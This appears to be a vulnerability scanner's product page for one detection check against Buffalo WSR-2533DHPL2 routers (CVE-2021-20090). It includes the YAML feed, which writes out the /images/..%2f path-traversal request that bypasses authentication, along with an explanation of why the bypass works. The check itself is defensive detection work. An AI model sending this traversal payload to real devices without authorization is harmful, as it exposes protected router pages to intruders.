Buffalo — 1 vulnerability check

noctis ships 1 vulnerability check for Buffalo, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Buffalo WSR-2533DHPL2 Path Traversal Auth Bypass

CVECVE-2021-20090
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionhttp_request, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/buffalo/CVE-2021-20090.yaml

Tests Arcadyan-based Buffalo firmware for an unauthenticated path-traversal authentication bypass. Confirms that the auth-gated device information page (info.html) is served with HTTP 200 through the /images/..%2f traversal while a direct request to the same page is rejected with 401/403.

How noctis detects it

  1. HTTP(S) request GET /info.html
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /images/..%2finfo.html HTTP/1.0
  3. Checks trav_resp.banner for HTTP/1\.[01] 200[\s\S]*Device Information → finding QoD 75: Path-traversal auth bypass — auth-gated /info.html (direct status …) served unauthenticated via /images/..%2finfo.html

References:

Feed source — tests/vulnerabilities/buffalo/CVE-2021-20090.yaml
# Buffalo WSR-2533DHPL2 / Arcadyan — Path Traversal Auth Bypass (CVE-2021-20090)
#
# Arcadyan-based firmware (Buffalo WSR-2533DHPL2 and many OEM routers) treats
# any path under /images/ as a static, authentication-exempt asset. Because the
# httpd resolves ../ AFTER the auth-exemption check, prefixing an encoded
# traversal (/images/..%2f) lets an unauthenticated attacker reach pages that
# are otherwise behind the login gate — e.g. the device information page
# info.html.
#
# Detection (auth-bypass, non-exploit):
#   1. Request the protected page directly (/info.html) — a sane device replies
#      401/403 because it is behind authentication.
#   2. Request the same page through the traversal (/images/..%2finfo.html) via
#      a RAW socket (reqwest would normalise %2f and ../ away, destroying the
#      payload). A vulnerable device serves the protected page with HTTP 200.
#   The genuine consequence detected = a resource that is auth-gated when asked
#   for directly is served unauthenticated through the traversal. A patched
#   device blocks the traversal (403/404), so the match never fires.
#   QoD 75 — response analysis of the unauthenticated protected content.
uid: f9279fcb-2b74-4a79-a46d-af6072c2c533
name: "Buffalo WSR-2533DHPL2 Path Traversal Auth Bypass (CVE-2021-20090)"
description: |
  Tests Arcadyan-based Buffalo firmware for an unauthenticated path-traversal
  authentication bypass. Confirms that the auth-gated device information page
  (info.html) is served with HTTP 200 through the /images/..%2f traversal while
  a direct request to the same page is rejected with 401/403.
cves: [CVE-2021-20090]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: auth-bypass
tags: [buffalo, arcadyan, router, path-traversal, auth-bypass, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-20090"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20090.yaml"


steps:
  # ── Baseline: the protected page is behind authentication ────────────────
  # A direct request to /info.html on a sane device is rejected (401/403).
  # This establishes that the resource is genuinely auth-gated, so a later
  # 200 through the traversal proves a bypass (not an always-public page).
  - id: direct-probe
    action: http_request
    method: GET
    path: "/info.html"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: direct_resp

  # ── Traversal probe — raw socket keeps %2f and ../ verbatim ──────────────
  - id: traversal-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /images/..%2finfo.html HTTP/1.0\r\nHost: {{target_host}}\r\nReferer: http://{{target_host}}/info.html\r\n\r\n"
    timeout_secs: 10
    store_as: trav_resp

  # ── Match: protected page served unauthenticated via the traversal ───────
  # Fires only when the direct request was auth-gated (401/403) AND the
  # traversal returned 200 with the device-information page content.
  - id: bypass-match
    action: match
    source: trav_resp.banner
    pattern: "HTTP/1\\.[01] 200[\\s\\S]*Device Information"
    condition: "direct_resp.status == 401 || direct_resp.status == 403"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Path-traversal auth bypass — auth-gated /info.html (direct status {{direct_resp.status}}) served unauthenticated via /images/..%2finfo.html"
      stop: true

View these feeds on GitHub